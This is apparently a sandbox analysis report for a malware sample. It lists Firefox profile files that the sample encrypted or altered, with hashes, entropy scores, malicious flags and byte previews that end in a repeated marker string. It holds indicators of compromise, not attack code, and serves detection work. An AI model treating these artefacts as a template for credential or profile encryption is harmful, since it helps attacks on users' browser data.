Preview:	..-..r....^i\|.....w#7.....k.......s......+...."..P...H!!.......MO.....:....B...V4....:s....^;o.R..a..'..N....7...x.`..;..l-..0...Q...R..>.nW%.u.a...O.'#.fu}.jR..-.`...\..+o..<fk.4fxR.f;L..#..XK..G...P.Y....6.#C.)...{.$..G}......3f......0{.....`RH..V.U..Qaw...,~..k.v.~.."....p..........p'..X....}.K(.Y.[....eB?...Y..T...B.f..N.Qv%.Cl..M.g:J...8.XYK....!..Q>.......r.#.6~[hAA.. .....(.`....n>.c02...FT.U5..HP.QiA....Z.PK.n"..N.:.;wf..&...8K.06.`(e......1_VNo.vb.....<......jY...s-...,...zg\|..8..x.MF..B.I.".w...Mp...n.W.g(.0.o....Y...4.......('.,..6.AH..Z.......k....8.l..d+...)....;..p'.yi\..?.....m....%.+/..;.#v/..l...x....o..x.....`.d.h...+...-.XI..QI.b(n.......R......ue...K7..3O....jj..,.9L..... M_.ceG...d(."Qj..A.dae.....-.&.G=~......r@!C..Qb "^!.vI...\.C.!4aCm....#..x...g.;1.....''.a.. .,.V?.l_.w.{.V.X......r.. V..R(...J..........pQ.........2..Jwf.Sw2.0..V.....^.DM%N.+..f.M..B]...W(.._..#w'h\|..V..o........Z...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\handlers.json

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	714
Entropy (8bit):	7.646168580187897
Encrypted:	false
SSDEEP:	12:YnGBCcu/fd8jaaFLVD2D630n2zdc6Q6+rPQw3yV4yggD8a3ksP/ixF2D+Prgciik:YsCcuujNFLcDH2q6QJrVs4yggDL3cAsW
MD5:	D335F6F4B34DB0A4B46062DEBE9AF393
SHA1:	39D84502BF5948DAF8F32D590359FC197CF823CE
SHA-256:	FDB26BFE69DB54AB08F5DEAB0DB384BDA90246201D30C8251D4F2273D4AFD6CA
SHA-512:	B783B9979CEBB04205F9E877DAF0D9A82D98093A1B07160F07AFCB62B3EC10A4E5F5EE9930022DA556993F50A0D698A39BECFF0C71075C72B8B248CE254301A3
Malicious:	false
Preview:	{"defa.9yr.~4cb.19...J..J&z.>QZ<..R.[....M.I...?....A/....W.N?...}.q3%Q.zp0..Y....`..q..g@K...-..*N.t.W....O8.rD..FZ....0.:.`1.....f....m.g...L.......#Y.Ww9z..a..r..qX../..I..c..^.X...x....9.....J$.:..{e..Jr/.x0>.....2....4.k^.....LGrG._d...8g....9.g..S..%.d..lL....n.9.U..&..r{.l{.hX..z....+....)..q...C....i.$....k.n[...].....w.....).4.fR.w.K...7bBtk]\J.Z.9....\|y...Y64.f"..;..\....k...1...\|.....P...;W...."....qx=/_.\|3.<xmQ../....\|O...U... ....Dz..`......C...j.\..?nJ5..}3.9..\..............\|].......\|..G.."@... g..l...bH...I..._IX...Bj..'.1.........+.e..#.v..G!...?.X.@..@.../:.xW.)[?..$..#L.badZ...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\key4.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	295246
Entropy (8bit):	5.15519657229726
Encrypted:	false
SSDEEP:	3072:rv+o5f9SMn4cT5sI0Qn/NsK5wDhTunV6T51zKBJA3U7kGICM3r1:LPD4yZHVsK5wOG1GBO2kGlWp
MD5:	C6083C9BEC6458F13BF18224E9C3EE00
SHA1:	EF063ED93D8C4B9C467C78F757F01776EC9E3635
SHA-256:	B950C8AB11A5BF568A99796B409B836031C6CB10024BB1A39FC265BAA0B6B731
SHA-512:	7BB79271382BD870D2241DCC959B6DDB4999F8AE4906D4EAA753D9116A2F5F3F65495275F0707799CEF9D902776255F7CF57A5150BBED932C529509DA133183D
Malicious:	false
Preview:	SQLityj.I.4/...KY.v5l..K.3W....r.q'....h..4.89y9.".E..{.-..q.'O..,.>.k...;.-.$..:LPI...l.`.+.....$.R&.7.......~...t...K.....=...%r..\.B...A..W...........#...3\|....O.#..c...?.^>.UF_R......e.iH....5....<YF..HH[.k...c&p..hp!.D.t0. ....t1..o.%...!J..#.&".hl...'P...\..O....c{..$.1.Q#.........ha...7.3.s..Xi...E+.Q.6....+..,3<...e8..D.5.t.4"....f.T/....p...3@.....(~.g$..8W...A.>. ..a.#R.mM..l.....h.$/4Um...M.!...+w=.a(...\|...?....ixh....g6....A.....`\|...1N.Dh....%S...S.. [..}...6.\..9......0.oajEG..=p.{.'..F."....U....3....x.`.....VO\|.a......F.!.<.P..s...y.(K........Vpv....Y.xk3..Q~cq.g...H...tv=R.......a.jt).A.G.9\|.~i..X........T.}..9...\.O...?'...+..l.?..h.]7.f..=L'.;4....Z<j...$TO.V.W.[2..U;.....)v.[r..'Z.M..E....p.d.C{..^\..K.F..@.......Li..Q....J.(.z...D.^b-........8.........F.+..f(.za..s..)9.....e..b.....l_.S...+ {1..v_..P...Vj.s9P.6....o4.....j.......R....7\|i^...5.....H,E.V.R.........c..p....4.......i...cD\....8J....G....ZZ..DUx

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\permissions.sqlite

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	98638
Entropy (8bit):	7.998209057999729
Encrypted:	true
SSDEEP:	3072:nhHD0f1UQQZlolbK+ZkERU851WZfmL7lo:nqsZW1dUqMZfmL7m
MD5:	95C1224A0DE32A1B84FFA9A76535258A
SHA1:	B61578E49BBB3D28BD5C6FB80BBD75A40F52B047
SHA-256:	A2FD46A47717F98FE9855A27FEDB58A58A7480890BDA80809821E0884631D949
SHA-512:	9FD34820B144CD0EDF61BD1CFF149C49B08A9535FDBD0A9A1A8F425AC25C4293C66DC15C5BB2DD39B01F6A54A878FA4E25C57B57286579029A8643A616A5FBD1
Malicious:	true
Preview:	SQLitol....3.D&...>...9......u.i.S.W..t=.)~.}:..D..pt.O.>...T.bi...O.1...Nl.m...6.K.. .....`...;....P.m$}q.-.....r.ko..Z.,6....C.Y.Q"0q..e<9..!c...{.._NSCG..d6f....Y_..B.R.N.[..N...I....$?c...i.......&VnCp....S.R........b..q...G..(3.[.{.WJ...WP......>...B..a.{.y.g.........u...2O..j.p{.Y$.B....q.r.[....T.I...Ca...N.3?....k.".=..O......P...iX...=U.h.......w..q.G.86,6...#.;..$lX.6.;..<..{.C.u..$....?]B.R..]...h(..4....:....-.a_.\..A..N..l.:.t....... OxS..-..hMv..(Q.2..._~..r.YS.q}-..._..Z..C.Z....l2-..i.....~..(.`.#.....a.Q\|F.........2....."..u...O8..L..&.%.\|'.y..=..so2Rw.L.XZ..9..U.nC.ed...[.Xhp=.......WW....F.-G.......u.y...A...7a)p....W.1.z,.h..5..xZ.3.n....!_..v$....z><8B..F.H.#...;....8....6..TS.M.Y..zg.....+..?._........(-./.."L..qWTK.S<..'...{. ...X..}....7.#._z...aO.1..;....mFB..v4.L......B.7......"n..{..%..N>.~.."%..a.....z....9T.v.cw.fV.-.S..u...GNN..]...~g.....k.....W..0....a.0..=C(..`2.r;..y....v.....:....oYy.$s.....PO.W.x.%....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\pkcs11.txt

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	850
Entropy (8bit):	7.735588237957669
Encrypted:	false
SSDEEP:	24:KDDgUbqtD4oJurbmI+D72IhDnuoD+21/CaFKb7kbD:KHgUeD8G32whD+21p1D
MD5:	ECFE24A6FA295017C5945F232DB84D44
SHA1:	0B5DEAA938242297DC992A73C9CD47F31CA1F458
SHA-256:	08646F5B27CA9B7B3E4F69FA72194F598950F2E1C9BDA4237E27305D776B7985
SHA-512:	C0E430CE1C4B614F94143FC7F7322331CCA3C6ECEF7FF71A731332A1EA664AC9B5545A13927F48921B8265CD680791072B451A800EE0DC3F2634A5A510CBC732
Malicious:	false
Preview:	libra..m..Z@..w....tf.V.\|.d.+}(.]....J.....m...z.........8.q.....T.+}'.U .4.C ......L.S-;P..C#.._..V. Y.$....V. ....2I..\......D.m5.G..P...[...aY.+..Y...{....a...J. ...Z..&.+../.u...]...yp".........>.....s....;5a&.rg...^$...!T..y..E..x.....X.Q1f..../..H.,.GnCz.l7.....A......A.S".5AlD.OU.t.!K....6.,..(...md....V......'...9.%#Z...6..z......lK...R.F...[.....V..0..K..{.j.q...k..w.p.a..-i.x..3I..AE..<.)..r+]b.;....g.....P.m-O.....\|.]6..8K.2.A7....'M=.W.~(?o........w.......M.X..o....#d...$...w.!.M.......=.@..\.gH....z.....^....OE..e8.,.R.MWt..f.$.Y. ..#.SFDH.j...$...S.../<.N.....#..&..ww.ESX.B5.}W....bv.G.`6.).O....#......0"./....a.:.-.h.&....Y...[i...........?`xQ....y.&......(.TWW..5....m......).1...Dh.[...Hr{..o..&gN81.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\places.sqlite

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	5243214
Entropy (8bit):	0.43226108958839166
Encrypted:	false
SSDEEP:	3072:ruXjbH+gY1C0FkYl0TgIDAwvAvfvphiOf6cjVOm6dGUScEdaQT12XDWevY:ruTd0FkWwgWAYiRL6qj6gdOXDWL
MD5:	8C21CD622C989BB43453134520A76DF5
SHA1:	B43193F2CB5E90CAF6A215EB7FA7A7549009916F
SHA-256:	E3BF26C417C305B7E0D2BBD8528029A623BE0DC1D72DBCDA38A56D3DF95435B2
SHA-512:	8E59BC66FB3092044AA1C1A4B841460D979C28401D86E49295E3F289434914DE1D310E799CA44AC6422AF4DE1347D4B3DB8EEE2374A3C1770A7E15DD0164BB37
Malicious:	true
Preview:	SQLit...{..@..m......C$.h.........Ag..@x..$H_.v.f!!&mq.yH..G%-....L../..Vm<).m(..,"c.Yc..,N.D..N;.+.E.F.....fk\ZunJQVh..PIE..rC..F..........0... ....8H..j\.u'...z.......&.V1n..$.:....eg......\|....!0... ....+...1......&..2o..1.k...+$Q..lH.HipBmO..d.wj......u...I.-?R..j.&}/...........Y.II.-....J4du.....=...zS.....N...Ri..rDV...><....7....u...r..g.ik...$9./...'..y...t=+.a.... ....@.$m.+K.F....j..4..%f...M..%_..P.z.@..X...bp..mf.L...7".V..... ?..AnL...2.[..j.i\|!.o..u..r.-7j.B.AL..<D.cG}x...O.c.....c.0......%..U..$....~!R.v...l...S.......k.S....j...o.9.r...~p..8H.\|I...5...\|..,.......jO......V...F.....Y...w..Ky`...LU.....C..k..1C.7.n...K@..r..d...J..W....s...}.... .....-.U\.v...Q...l".>..5Ly.g?..../.$&.S.g...A.x..iCrA./M.u....j../.-{..L.s..~....B.....M...^fx...er...dX......u...<)F..!..]d.'..+r.......%...7.........g7..}...Y=..m.....*O..3..~\.......).#.?.qH#..G!U`.0........U..........Zf...Q.].m'}K\|0bO...H....nj.2V.#...^..W..1I.,..OQ..^... ....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994744156096319
Encrypted:	true
SSDEEP:	768:joTZLJUGJfd4WH+/W7ZV8L6v4oFLiNp4kZyAt6F/X7tgIIFjX:j0ZeGTncWlV8G5xkZyAtm/rtgIIFz
MD5:	C8B4B71DD86A4ACCFAC02DA06285570B
SHA1:	4232DEF54A38B836AA661EA27F8DAD491866A422
SHA-256:	E2F36930FD6E61FC80B6A8F6826A7226E0DB7301D693688AE00E76F0E8BBB855
SHA-512:	B60E1029EC22A36A602BDF0A5DE2DD6BB3EB0B18FAE5D35743CCD323353EAEFD0124AC3B3114F40846403B1EEA73740832B61AE11BD38C1F6BBF7A1826BFAEF1
Malicious:	true
Preview:	..-...b.P..[j.#ix..f.v.x...~..Z.(..}.xM.?Rd...(..T.?g...b...S1..A_..o.S..'+(+.G...M......f>......Ou.Wn...'.7..1. .....'..Q....A ...@.J`....8w.\|.j\|.....@T.T1....!.x..$.....^;.-Y...yH.l.vre....J;..>6B...9...E..g..x'....cTw.[...0.x.'5..BojM.X........4...l.%...Q.$Z..o......;.{.v.K.7..r.y..V8<.r..ToT.M.9.../..a.]P.dB... .....?A.2.X:...u.U../%.f.T.8.5..".D.P....(..-S.RF..r\|/...b..9.q.../..0v.FcPi)'.6......u...2.q..E.d....i..O........G.]....J.....A.0......G.Z.......='H...fx$......=..S...A......V.l.my..:M..V.%?.....R......\|j.Tn.p...#..r~..s....(.&...?....lV(q^.\|a....CDn.Y.Y.!-.{....0...f..........-4.oZ.v.KnGc.%C...zXn....[q....Q..3.l .......>9.+.J.4...b.k..6...R.....+...k=.V.....LJ;3..F.o...}G#...b...[.....~.$.m.M..t....s/..W.%. >.2.FM...52....[9.RQ7 ..P.'p.Cl.....6>.v8.Zo.. C...t.d.T'Y-.).{.r.... DL.e.7Pn.......Joh]@3....:.....3....H...P.c....0.M..p~.1..>_'.....U,+ah..h...QI[..J......k...o....k.C.4....tW>.m.....V..n......Uw.5...G"N..c.x.lw\|..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\prefs.js

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	10823
Entropy (8bit):	7.9830421645318745
Encrypted:	false
SSDEEP:	192:bcpIIGyrKHbw4+WBLD74fEb1Te9fk8tqJvisaLbZk6o8cxkDhp2mmT38vEIhrYM:4pII7mHbwR03XTwfk8t6HaLLUWpvflYM
MD5:	A431BEE36CA4A22CAF32B3C18408182A
SHA1:	8F4D762548AE0E98A3086C4D1E9A8EB8FBF0456B
SHA-256:	05A46E85EC987B20535D3061B7D007134811775AE1BEA6D41D39162BEBA4115C
SHA-512:	E1EC05F5351FA319C17F14DB1B331C551C2CA9DCDA0D1CB5052E6A5EEF5C8B2BC35F52A9101B42F5ECA5EF7ADDBB8E9702A3BCFEAAB7949DC6296216B9B55579
Malicious:	false
Preview:	// Mo./..pN.d....p.o.l'v..,..#.l@.{...h..{<..m...?Oj5.+p.]/.M.....R+.6f_a..f....k...S..r......R..g.f...N.>...h.....f..........FIJ.+..J._J.B.....QhF...........4';..OsE....x....Z+.x&............&..a.b..?.r.....~...^...4.:...]....:9..+7.4...,..i\jE..R..!K."E.g>.u...a.gTfE._O"O6m.z..'..I..C-.........A6.]...U......^;../.^.(..p..9.r...[S].....(2....8...e..j.~v.Q.;...n....^.]~F...Q.....U..T....W.Q...E..Ut..(..&Y^0.eB7{.+.(\|@.l.1.>....XF..RN...&.A1..-sBF.G[.o:."..FV.(..I.....8.?..j{R....p=.Jl[....$/F..X...%...9.6f.D....Wo:h..G]..-Z[....r1..6.}..y..rx.Bl%.#..9......e)..Yd..~48b5....=..n!....2.,:.;..r""..r...At.o...2g&Q.g...S%.X...E...+~4..@.6e+.......5EJ..k.{Aq\{Ix.!).k[R.q%./G......9.sG.m.X.M.5.v......TEV...(5%..8...-.G.....=\...q..Z...x..%@..*&.+......E.....2/6.&.$&.?.k.z..Cv8...s.xy.....g........!3..<.7...I......U$...9.....<]..!.P.x.%..`W.(.!q.@u?...c=$..uN.s..'r.B;..;..B..h...m.S.a.........Qg..^6.........;.j.D..sp0.[M.........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\protections.sqlite

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	65870
Entropy (8bit):	7.99729191424399
Encrypted:	true
SSDEEP:	1536:RhzmglHqC7qjw77FIxBiDReHrdrHVniSasMcBsxCguGlbvzgvrW5:/zNHqKVaBiD8rdrHRbMcexCguezgjk
MD5:	52653D14DFCB2FC362094EC509091470
SHA1:	0CE11BBE3CC10F529383FD9700FB8BE53928C4FD
SHA-256:	5A64FCF654BA02B17B853593844FBA420A5674A5FE3C33AF07AC1FF057DCA253
SHA-512:	084DB07B1FD89E6473D16FA3D7F2FDB511CCA2B938720646B604A9F1AB1B878EB59028462B0756A0AFC1FBE3D21312309864D756C0EB76A1D22AE30727215AC3
Malicious:	true
Preview:	SQLit.&..h.A....F..u.(:..m ..m.jr4...M....`oXgi.X.._.....2+.[.".J.._...X...x..h"%......E...e.kx..6\|...5fx.t;r.L\|.W.L<...0`...N..-.Th.3.......C....Vm.....%..t....I.... ...K..(.J..K.U.k@7.\.q.X.f....g.......\|.;\|.t ....v..70.....+^4J.~5..}.'.N._...l........\|0........2.....-.9.I..YCb...9W..2.J....7_..#I.e.'..ck9.3....BR..g..i;...-....{..A..v.w$...5.j.w'.......6Y.&\|q8.<c..W..........Y.a!...j....%.c.2...Z...l.....K.D.s.u..E.....d...t.3.p..?R].......2B._....8<.p.&.t.. '.a'.G.2..[.PB.(.@.I.;...c.AW...R:..o...Q%.N...Yx.[..5=.......C au}.{#..\|..{.cK.9..'...>=....R.........v.6.fY...gb0]..ov W..w......0.C...N.0.]~s.....Z.9.1...Br..B.......:o...[D.j.k.v\.qVAo.D...6..:.6;E..........v6....n.........".F[W.....c...I.=$9I.x...K&.Qaj..Z.. ....?6..K..T.9...vF^6.\|.z`M.jaR.,k%........Yl......:..A.* ..u..Q.^..q b..d...V...!H.Y!..6P....^H\.cW....@m.....2.....P.?....W..kF. ..f....YKNh..q.M9....?V.u....pZA..'..dAY.]...;.....xz^&......!...=.X..P...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\search.json.mozlz4

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	683
Entropy (8bit):	7.623359998036066
Encrypted:	false
SSDEEP:	12:Hk4YBH/lXNQDpo4hsApchITNyCK8d4T2PPljh3ahYeLom4ZiXLrFPrgcii9a:HkrHtX6LOApcOkCK/TWPljh3ahYFzAXM
MD5:	8E4E4FE6950DFE055FE3CEFF4F745B62
SHA1:	BB08ED9D98A2A35824485D2798458A18E3D64F6A
SHA-256:	E0D8F826D7D4F5F2808C6FD53B1052EC3085D10877D87EFE1A8D7CF1788A93CE
SHA-512:	46927BD3886285CD189B9CB8A09D4A8B649AE7409B551FBEB8DBE5B5C5577E4D4AF09620E7F9152EE091350F5786CE31C3DDFAE6C10A9B93B20AACCB1C1AA996
Malicious:	false
Preview:	mozLz}.. ..T..Qo>....gC..^N..^B[.b+ ..].ss}d......Ad%_.......ocH..../.^K.wa0...........e..mF....>i;3J.AfA.u.B..\|B..xv..=..Z..<.._$.Q..].4K.F.;.a.+....P...O......x...'..T.@j....?.D...V...W..8. V..Q.$..?.>5..~>?.<..;.1.h&/P+.D."1...!.D.~P..Q.o.T.]t...i,....b.-f..<xpMD#..V..Z....L..3.-t.4.l3...Z...').B..9..3.E.#z.?...B.(..M...vn.4l.LO..H.`..x..."..'4.u.).0UJ... ..&...t...m.l......=#..^^/Rgx\|w..'.V...... .93B.)\|G...w...q.a.h.t<.Cd5...a......Mv}.-..S..0.v...tiTs..\|b)../-G=..a]....y....`..VF....-...#:.X=..qe.....D.h......4.'"...v..R.4.E'..?.;.6./...sT$>..ts....$.?.j/.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\sessionCheckpoints.json

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	622
Entropy (8bit):	7.634076998419684
Encrypted:	false
SSDEEP:	12:YoS1YpOKPfCbQR8XUMclXO9oC8CG9TswrlFGaKXKVhmNVdjJP2XCPb1H37PrgciD:YCoKHgslq8CGVswrlFKXKTm5MXGb1XjW
MD5:	157F60C2C89E25F29BB6490DEE188259
SHA1:	E012B804692C2350576BA2293863C8C87B70E0AC
SHA-256:	6C1CA8222196AB1E95C65AEED6FC1217D1B1F6E47F81B88A87673189617793EC
SHA-512:	9D554C331FC320AF46ED351B147DCBA2CFBB24D2C9EB4D281D39925711864B906607454CE383EA8D6069719A33573211EB5B53A367B6DEA0E972985EDE4ED768
Malicious:	false
Preview:	{"pro.$.k.&...[..;M.i..+63.#...".]..iY.L..V.....f.8\|..Q....,Im..?.#...z`....?x.g.Y.....xk.q.9......Xv..q.Q..O7..-..Ch......@....R....#.....S..~.:....Gnl..Op..#p.[. .1'9.....xv..,.c.....L......mRtj...%..Q.2.u.l.0.;.B..l......z.E..?...Hz.vz..>C.1.H....+$^.Sn.oi...pN.....A:LVU.n..^9-.My.k..of...r...:..........L....e.....P........r.#q{7xi....6#.c.^..^.r..S.......!......jr.....9..\|...m.-;.....2.\IP.7...F....7.$P..y....$qZ57..Fh....N........aj..`.}.....D...@..Z..i.u....V.....+w.....I....=_..6.m2.?.x..{...5.......*..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\sessionstore.jsonlz4

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1549
Entropy (8bit):	7.879816109373431
Encrypted:	false
SSDEEP:	48:sXszNGTrPLuQe1dLAoi5rcnzxXmAhy2A74D:gszNiL8h5i5rcnFXmj2kk
MD5:	A4533016A9B81B5941CB69D2BDD6E349
SHA1:	A32E8125B727D77C7C300398CADAC7CB3CC561D5
SHA-256:	D73B7F43C27A7FBC54C165F8839A83D983C54B95AAC3E4183C671385D69A0C6C
SHA-512:	01890734C2EA9E1F050768C4D8D0D330D2FDA3285A45C30952BE5A651C15E44FBB0599F49464E1E2310D2BF65F00B8A3CCD6C0D5714CBD3817B8BEAB85346DA3
Malicious:	false
Preview:	mozLzR...q{.0.M"...Y..\6.k=..!.$.........?:....1O..C..,.5`}9.0...}....#;vI.. T0..&].I..%0$._.,W.Q.K..jT.......6.{.n.A.y..Ae/..!..........g...<....."...:.P..O..-w.).:(..&@.6I.\].rX..xu^..jn-x.....i..w..\}...W.$.5...K...vG'...D:.............b...JZ.JEr..)^J....i.o...H&.j.....t[.s%W.E..G.t.. C.p......h.c.l.d.....$..?.V..'.[J..R?.N2...O..O'i...C.+,...e<.H.jB.9.....EL......m.]qJu....4X...qN.@.H....~{.m}.v.~o....2D@...l-.....5c#.n....ro[............A].C.WRq.....$.L..x.....3s3.5h4.r...w..W.=..VE.->..{...&..@..$N.h.E..}.sXY.e......>lRH.R...@...ue.N.m.(...@.#.#.!]..s............,y..1j3....^....&..gQ....H.........#...j..5Df.$d....z.P...I....sX.....k.PF...f...PNI.).HH.....y ....#].;...B........}_.I.....7.....:.......Jv.<..8.!.8.z..74...s.vh..W+..J......RD...a.....G.I.:..\|...Y.....dWI}L.PR.........C%.:Sr...Q.yz../.?.$...V..-.6.....`....Cn..Y.yqa.({...}.......2..@...!...........R ..6..?.Z.";..pt._$.(..w.\|Q.x.o.D/.z.."....1.8..3....`b

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\shield-preference-experiments.json

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	352
Entropy (8bit):	7.324915000827235
Encrypted:	false
SSDEEP:	6:YAETg2E312Mzcj3Y9zzXBwCDqgz05waiLjcXF/NEzY+kAZP73TfK4VoyvTAdkKuO:YvTXEM2cDiz7vqgwHXfeYdAlHfvZvTfO
MD5:	72ECE081AFEEB4F6D98CE0782F98ECF4
SHA1:	E00E637732A9DE5DD79E95CDB9B1AA7349A46591
SHA-256:	4DF47C41B43B42EDB6FA8E934D374192CC64E266DFF096B91986EBB7C576B5E8
SHA-512:	E10110C3F15BD3D46C95809B08CA64E9F2810F67BDB8E6EF4468AECFAC4AE68869EE94DEE7D62049CAA21AD1576CFCF80D1DAE4F318579795B10864F4F322565
Malicious:	false
Preview:	{"exp:..0.9.&...Y...#(.);B."R#.BI...~..QQ.....d.....7.z.B....t...\E...%a..dgV...$...D.n/"......X..v..F...qGz.JB1%........OG..Z.c."...V...xG._.........;...<........y.T...}..Yp5...N2'.<.....7.9v.{....t.P.^....kE`#........H....W...zaAX.....Y-..d]$..w}%..5../...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage.sqlite

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4430
Entropy (8bit):	7.955059838682395
Encrypted:	false
SSDEEP:	96:BInQUeyePQmUJJ72VGtKNcSKRBGAoVLg4gTrt76iZJnslVzcP:ureyaQmytOjKR4DLgh64Jns3zS
MD5:	721455A948C921778946E68DE5293B4E
SHA1:	3DE850E5EED6627C3A6577F78D4C916424CD95B1
SHA-256:	AF818BB9E172191F988F1E925BF4011B691C41FC2FD256C7E60E162A25EDFA34
SHA-512:	BE579FF936D4DB7D4419E86D502789B2B77A59BBA14F00D2360FBD1814DC9BFD1E631A73DD20C339D40DC173B36692D40E21F35C581500675D0E2720BF8B1893
Malicious:	false
Preview:	SQLit.S..t.tF.M.{../k9....esb%...u-....\|.)u....b.W}.I...S:Y.4..)L.../(.....t .%...9;.a.<..".y..wG../.b.{.w...;j.as.E..\...(t..WK.....M...X.Z....-..\|.fB..@.P..Fwa.B.....I..'2'...E....z..Z...U...A_#.-.&...0~<......-[....U..H..e'..0.'GX...b...-.....n...U..V.aJ.Pd...i....#."{...B<G&t.....V.bu.4.......b.l..W......n>.b.0...}8'..W....V.O.G..R....G.....52..R`]Ay./-m..z.R....H.l=....u.....C.K.........F..O..=Q@.h..4..z..v..n.j#m3i..Du:.3..E.)../.F.}I,.7..Q..O...m.7?$hY/.z..d,."..........4._2...iU..,4N..l.J.._..1.m..0...B...v..}.....j.9......s4...[.R..n..\|.3_T.[.AP...M.g.'#..t8(N...\|..../..;h.E[{.#....Rk-.VHQ...0(.)..P.Fu..lv.})v..`..Y......&.Qo.{U.s...^..&(.'9. .........C.r..mO..<.2.P.J..>0..T[....W...hB..(...R..YJ.Zx...4..........wb.....x.z.lr...+.4.eQaZ....` ..[......`..M...q..t.....h.]..6..8D.S.....w.q.e..xUT.q.4y...".l6.......Y+...w..0....{..1A.....T.I]..A...^.g...f.......R..\|.<.C..zR.D...!.5.;Q.....\|s...=.u...".3-..1..yP.z.k.?.sz.8w...c

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\targeting.snapshot.json

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4888
Entropy (8bit):	7.959911646246983
Encrypted:	false
SSDEEP:	96:FbpAPB/rWG2XJIAtxtAyYj4M9eAQ9eo+VeJUBDHtTJu34UsVDF7q8qoa:FbuRrwXJIuHS8NAQ9eo+AJUxH38sVDw1
MD5:	43DE245E3AB4DD0FA69D0E7B6E8961A2
SHA1:	4BB061CFCE42917E2EE664A5237D56DC16714671
SHA-256:	67A745FFE85D955B8BB6A84D41EE9AD43AB40178A2D67408798EB4FE8D9D3694
SHA-512:	633590496BF0A76DD0551D28A208685551B6579CDB849947921E43148A542BFF4B519BDCD0821506085A395D28755E115BD580C9B687B04573A938EDD3239427
Malicious:	false
Preview:	{"env.......y....L...^..rr...&`$.d..P.vD.e-..D..5.y.k.+.....o3.....x-v} .`..R....P.!....H....C..z.~.K._.6.."..m:~..V..J..N/...`....f<.<bu.{rl..w}.....^.z.z$R..os...;.]Z\|..[5:~o................+{...m...DZ..vGo.d.G.....b....7.NuE.$uO.\b.q.&.M..0mQa..$....._....8B.". db.RA,.a\.&..Gns.X.UD.\|...`>...&1...js.b.<e..L..Q\..A....,..4..K...<.............3Oc.lF..l).Agh.,>Y...h!...z........m..!F..t...)"...i@........I........'..o. ...w.?..Q...y.......S..X.U...o.{c.?...).'.]W.%.3[....].^.U4e.....v....w1... 